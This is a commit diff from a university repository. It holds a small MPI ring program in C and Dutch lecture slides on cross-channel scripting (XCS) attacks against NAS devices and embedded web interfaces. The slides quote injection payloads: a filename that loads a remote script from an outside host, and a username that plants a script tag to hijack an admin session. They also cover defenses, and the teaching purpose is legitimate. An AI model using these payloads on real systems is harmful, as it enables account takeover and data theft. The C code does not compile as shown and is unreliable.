Commit 3bc5644d authored by Sander Mathijs van Veen's avatar Sander Mathijs van Veen

Merge branch 'master' of vo20.nl:/git/uva

parents 8ae125ed ae636604
...@@ -2,10 +2,45 @@ ...@@ -2,10 +2,45 @@
#include <stdio.h> #include <stdio.h>
#include <mpi.h> #include <mpi.h>
double *data = {.0};
void initialize_ring(void) {
double received;
puts("Sending first data");
MPI_Send(data, 1, MPI_DOUBLE, 2, MPI_ANY_TAG, MPI_COMM_WORLD);
MPI_Recv(&received, 1, MPI_DOUBLE, tasks - 1, MPI_ANY_TAG, MPI_COMM_WORLD);
if( received != *data )
printf("Received data does not match (sent: %f, received: %f)\n",
*data, received);
else
puts("Data received succesfully");
}
void pass_data(int tasks, int rank) {
double received;
printf("Task %d sending data\n", task);
MPI_Recv(&received, 1, MPI_DOUBLE, (rank - 1 + tasks) % tasks, MPI_ANY_TAG, MPI_COMM_WORLD);
MPI_Send(data, 1, MPI_DOUBLE, (rank + 1) % tasks, MPI_ANY_TAG, MPI_COMM_WORLD);
}
int main(int argc, char **argv) { int main(int argc, char **argv) {
MPI_Init(&argc, &argv); int tasks, rank, error;
if( (error = MPI_Init(&argc, &argv)) != MPI_SUCCESS ) {
printf("MPI_init failed (error %d)\n", error);
MPI_Abort(MPI_COMM_WORLD, error);
}
MPI_Comm_size(MPI_COMM_WORLD, &tasks);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
if( !rank )
initialize_ring();
else
pass_data(tasks, rank);
MPI_Finalize(); MPI_Finalize();
} }
...@@ -4,5 +4,6 @@ RSH_AGENT=rsh ...@@ -4,5 +4,6 @@ RSH_AGENT=rsh
MPI_HOSTFILE=~/.mpirun.machines MPI_HOSTFILE=~/.mpirun.machines
PROGRAM_EXEC=ring PROGRAM_EXEC=ring
mpirun -np $NUM_PROCESSES --mca pls_rsh_agent $RSH_AGENT \ mpirun -np $NUM_PROCESSES $PROGRAM_EXEC
--hostfile $MPI_HOSTFILE $PROGRAM_EXEC #mpirun -np $NUM_PROCESSES --mca pls_rsh_agent $RSH_AGENT \
# --hostfile $MPI_HOSTFILE $PROGRAM_EXEC
...@@ -14,6 +14,8 @@ ...@@ -14,6 +14,8 @@
\frame \frame
{ {
\frametitle{Indeling}
\tableofcontents \tableofcontents
} }
...@@ -26,7 +28,7 @@ ...@@ -26,7 +28,7 @@
\begin{itemize} \begin{itemize}
\item Ligt dicht bij de webontwikkelaar \item Ligt dicht bij de webontwikkelaar
\item Aantal embedded web servers groeit \item Aantal embedded web servers groeit
\item Beveiliging groeit niet mee \item Beveiliging groeit niet mee (26 XCS-lekken in 23 apparaten)
\end{itemize} \end{itemize}
} }
...@@ -37,9 +39,9 @@ ...@@ -37,9 +39,9 @@
\frametitle{Cross Site Scripting (XSS)} \frametitle{Cross Site Scripting (XSS)}
\begin{itemize} \begin{itemize}
\item Invoegen van scripts op een webpagina door slechte validatie \item Invoegen van scripts op een webpagina door te profiteren van
\item Web to web slechte validatie
\item persistent of non-persistent \item Persistent of non-persistent
\end{itemize} \end{itemize}
} }
...@@ -74,19 +76,20 @@ ...@@ -74,19 +76,20 @@
\begin{verbatim} \begin{verbatim}
aanvaller -> non-web protocol -> non-web service aanvaller -> non-web protocol -> non-web service
| |
doelwit <- HHTP <- web service doelwit <- HTTP <- web service
\end{verbatim} \end{verbatim}
\item Persistent \item Persistent
\item Twee op zichzelf veilige services A en B zijn samen onveilig \item Twee op zichzelf veilige services kunnen in samenwerking onveilig
zijn
\item Moeilijker te detecteren dan XSS \item Moeilijker te detecteren dan XSS
\end{itemize} \end{itemize}
} }
\frame \frame
{ {
\frametitle{Voorbeeld XSC: FTP exploit} \frametitle{Voorbeeld XCS: FTP exploit}
NAS upload bestanden naar web-interface, kunnen we een script NAS is te benaderen via een web-interface, kunnen we een script
meesturen in de bestandsnaam? \\ meesturen in de bestandsnaam? \\
\vspace{4mm} \vspace{4mm}
\textbf{Uitdagingen} \textbf{Uitdagingen}
...@@ -101,11 +104,11 @@ doelwit <- HHTP <- web service ...@@ -101,11 +104,11 @@ doelwit <- HHTP <- web service
\frametitle{Voorbeeld XSC: FTP exploit (2)} \frametitle{Voorbeeld XSC: FTP exploit (2)}
\begin{verbatim} \begin{verbatim}
"<iframe onload='javascript:document.write( <iframe onload=`javascript:document.write(
&apos;<html><head><&#47;head><body><script src &apos;<html><head><&#47;head><body><script src
=&quot;http&#58;&#47;a52.us&#47;t2.js&quot;> =&quot;http&#58;&#47;a52.us&#47;t2.js&quot;>
<&#47;script><&#47;body><&#47;html>&apos;);' <&#47;script><&#47;body><&#47;html>&apos;);'
src='index.htm'>" src='index.htm'>.pdf
\end{verbatim} \end{verbatim}
\begin{itemize} \begin{itemize}
...@@ -125,14 +128,18 @@ doelwit <- HHTP <- web service ...@@ -125,14 +128,18 @@ doelwit <- HHTP <- web service
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
loggen wat op dat moment wordt uitgevoerd? loggen wat op dat moment wordt uitgevoerd?
\begin{itemize} \begin{enumerate}
\item \item
Probeer in te loggen met username: Probeer in te loggen met gebruikersnaam:
\begin{verbatim} \begin{verbatim}
r","","");\\/--></script> r","","");\\/--></script>
<script src="http://xxx"></script> <script src="http://xxx"></script>
\end{verbatim} \end{verbatim}
\end{itemize} Gebruikersnaam is incorrect, maar wordt wel gelogd
\item Admin logt in en bekijkt het logbestand, script wordt uitgevoerd
\item Script heeft beschikking over admin's sessie en voegt een nieuwe
admin toe
\end{enumerate}
} }
\frame \frame
...@@ -168,11 +175,13 @@ aanvaller -> HTTP -> web service ...@@ -168,11 +175,13 @@ aanvaller -> HTTP -> web service
NAS download torrent van een webserver, de bestandsnamen in de torrent NAS download torrent van een webserver, de bestandsnamen in de torrent
bevatten een script. bevatten een script.
\begin{itemize} \begin{enumerate}
\item Torrent bevat lijst van bestanden $\rightarrow$ verspreid script \item Torrent bevat lijst van bestanden $\rightarrow$ verspreid script
over meerdere bestandsnamen over meerdere bestandsnamen
\item Script wordt uitgevoerd op NAS, bijv. seeden van torrents of \item Gebruiker bezoekt torrent service van NAS en download de torrent
stelen van data \item Torrent informatie en bestandslijst worden gelezen, script wordt
uitgevoerd
\item Script kan nu bijv. torrents seeden of stelen van data
\end{itemize} \end{itemize}
} }
...@@ -183,9 +192,9 @@ aanvaller -> HTTP -> web service ...@@ -183,9 +192,9 @@ aanvaller -> HTTP -> web service
\begin{itemize} \begin{itemize}
\item Probleem: derde partij verwacht ``veilige'' data, cloud service \item Probleem: derde partij verwacht ``veilige'' data, cloud service
stuurt ``raw'' data stuurt ``raw'' data
\item Twitter: escape bij invoer (input time) $\rightarrow$ derde partij \item Twitter: escape at input time $\rightarrow$ derde partij
moet unescapen voor eigen format $\rightarrow$ foutgevoelig moet unescapen voor eigen format $\rightarrow$ foutgevoelig
\item Facebook: escape bij uitvoer (display time) $\rightarrow$ derde \item Facebook: escape at display time $\rightarrow$ derde
partij moet zelf escapen, dit gebeurt soms niet partij moet zelf escapen, dit gebeurt soms niet
\end{itemize} \end{itemize}
} }
...@@ -198,7 +207,8 @@ aanvaller -> HTTP -> web service ...@@ -198,7 +207,8 @@ aanvaller -> HTTP -> web service
\begin{itemize} \begin{itemize}
\item Encoding/escaping \item Encoding/escaping
\item Valideren van onvertrouwde HTML-uitvoer \item Statische analyse van onvertrouwde HTML-uitvoer
\item Flow analysis
\item Extra validatie bovenop cookies \item Extra validatie bovenop cookies
\item Blokkeren van scripts door gebruiker \item Blokkeren van scripts door gebruiker
\end{itemize} \end{itemize}
...@@ -222,7 +232,10 @@ aanvaller -> HTTP -> web service ...@@ -222,7 +232,10 @@ aanvaller -> HTTP -> web service
\frametitle{Meer informatie} \frametitle{Meer informatie}
\begin{itemize} \begin{itemize}
\item Artikel: \emph{``The Emergence of Cross Channel Scripting''} door
Hristo Bojinov, Elie Bursztein en Dan Boneh
\item \url{http://en.wikipedia.org/wiki/Cross-site\_scripting} \item \url{http://en.wikipedia.org/wiki/Cross-site\_scripting}
\item Vragen?
\end{itemize} \end{itemize}
} }
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment